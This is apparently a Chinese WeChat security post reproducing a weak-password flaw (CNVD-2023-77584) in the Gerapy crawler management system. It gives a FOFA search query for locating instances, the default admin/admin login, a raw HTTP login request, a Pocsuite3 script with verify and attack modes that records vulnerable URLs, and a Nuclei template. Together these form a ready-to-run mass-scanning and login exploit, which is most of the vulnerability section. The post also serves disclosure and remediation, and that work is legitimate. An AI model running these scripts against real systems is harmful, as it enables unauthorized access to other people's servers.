声明:此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
现在只对常读和星标的公众号才展示大图推送,建议大家把猫蛋儿安全“设为星标”,否则可能看不到了!
产品简介
Gerapy是一款开源的基于Scrapy、Scrapyd、Django和Vue.js的分布式爬虫管理框架。它提供了一套完整的爬虫开发、调度和监控的解决方案。Gerapy基于Scrapy框架,通过Web界面提供了方便的爬虫管理功能,包括爬虫项目的创建、编辑和部署,以及爬虫任务的调度和监控。
Gerapy的主要特点包括:
- 友好的Web界面:Gerapy提供了直观易用的Web界面,使得爬虫的管理和监控变得简单和方便。
- 多用户支持:Gerapy支持多用户管理,可以为不同的用户分配不同的权限和角色。
- 分布式部署:Gerapy支持将爬虫项目部署到多台机器上,实现分布式爬虫的开发和运行。
- 定时任务调度:Gerapy内置了定时任务调度功能,可以方便地设置爬虫任务的执行时间和频率。
- 实时监控和日志查看:Gerapy提供了实时监控和日志查看功能,可以随时查看爬虫任务的运行状态和日志信息。
漏洞简介
Gerapy爬虫管理系统存在弱口令,攻击者可直接登录后台,获取WEB登录权限。
影响版本
所有版本
指纹识别
fofa:title="Gerapy"
漏洞验证
Gerapy爬虫管理系统弱口令弱口令:admin/admin,MDSEC本地搭建环境验证。
POC:
POST /api/user/auth HTTP/1.1
Host: www.mdsec.com:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 39
DNT: 1
Connection: close
{"username":"admin","password":"admin"}
说明:以上环境是MDSEC团队内部搭建的哦,符合《网络安全法》,不存在互联网入侵行为。
Pocsuite3自动化验证:
#!/usr/bin/python3
#-*- coding: UTF-8 -*-
#Author: MDSEC
from pocsuite3.api import requests
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase, logger
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
class gerapy_weakPass_POC(POCBase):
vulevel = '2.0'
version = '1.0'
vulID = "CNVD-2023-77584"
author = ['MDSEC']
vulDate = '2021-10-28'
createDate = '2021-11-30'
updateDate = '2021-11-30'
references = 'All'
name = 'Gerapy存在弱口令漏洞'
appPowerLink = 'https://github.com/Gerapy/Gerapy'
appName = 'Gerapy'
appVersion = 'All'
vulType = 'weakpass'
desc = '''Gerapy存在弱口令'''
def _verify(self):
result = {}
path = "/api/user/auth"
vuln_url = self.url.strip("/") + path
data = {
"username": "admin",
"password": "admin"
}
try:
respon = requests.post(url=vuln_url, data=data, verify=False, timeout=3)
if respon.status_code == 200 and '"token":' in respon.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
with open(__file__.replace('.py', '.txt'), 'a+') as f:
f.write(self.url + 'n')
f.close()
else:
logger.error(f"connect target '{self.url} not vulnable!'")
except Exception and TimeoutError and RuntimeError:
logger.error(f"connect target '{self.url} failed!'")
return self.parse_attack(result)
def _attack(self):
result = {}
path = "/api/user/auth"
vuln_url = self.url.strip("/") + path
data = {
"username": "admin",
"password": "admin"
}
try:
respon = requests.post(url=vuln_url, data=data, verify=False, timeout=3)
if respon.status_code == 200 and '"token":' in respon.text:
result['GetInfo'] = {}
result['GetInfo']['username'] = "admin"
result['GetInfo']['password'] = "admin"
result['GetInfo']['URL'] = self.url
except Exception and TimeoutError:
logger.error(f"connect target '{self.url} failed!'")
return self.parse_attack(result)
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register_poc(gerapy_weakPass_POC)
验证模式:
攻击模式:
6.2 Nuclei自动化验证
id: gerapy-admin-weakpass-CNVD-2023-77584
info:
name: gerapy爬虫管理系统admin弱口令
author: MDSEC
severity: medium
description: Gerapy是一个开源的分布式爬虫管理系统,用于帮助开发人员和数据分析师高效地管理和运行爬虫任务。Gerapy爬虫管理系统存在弱口令,攻击者可直接登录后台,获取WEB登录权限(CNVD公开日期:2023-11-30)。
reference:
- https://www.cnvd.org.cn/flaw/show/CNVD-2023-77584
- https://blog.csdn.net/qq_41490561
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cwe-id: CWE-22
metadata:
max-request: 1
fofa-query: ""
sqlmaps: ""
tags: gerapy,weakpass
http:
- raw:
- |
@timeout: 10s
GET / HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
- |
@timeout: 10s
POST /api/user/auth HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 39
DNT: 1
Connection: close
{"username":"admin","password":"admin"}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body_1, "<title>Gerapy</title>")'
- 'status_code_1 == 200'
condition: and
- type: dsl
dsl:
- "contains(body_2, 'token')"
- "contains(header_2, 'application/json')"
- 'status_code_2 == 200'
condition: and
修复建议:
建议修改为强口令
漏洞收录
漏洞已收录于团队内部漏洞库(建设于2019年),现已收集4000+实战漏洞
现仅供团队内部使用,每月随机抽取关注者加入社群交流学习。
回复关键字【300000】获取POC下载链接
点击下方名片进入公众号,欢迎关注!
点个小赞你最好看
原文始发于微信公众号(网络运维渗透):【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论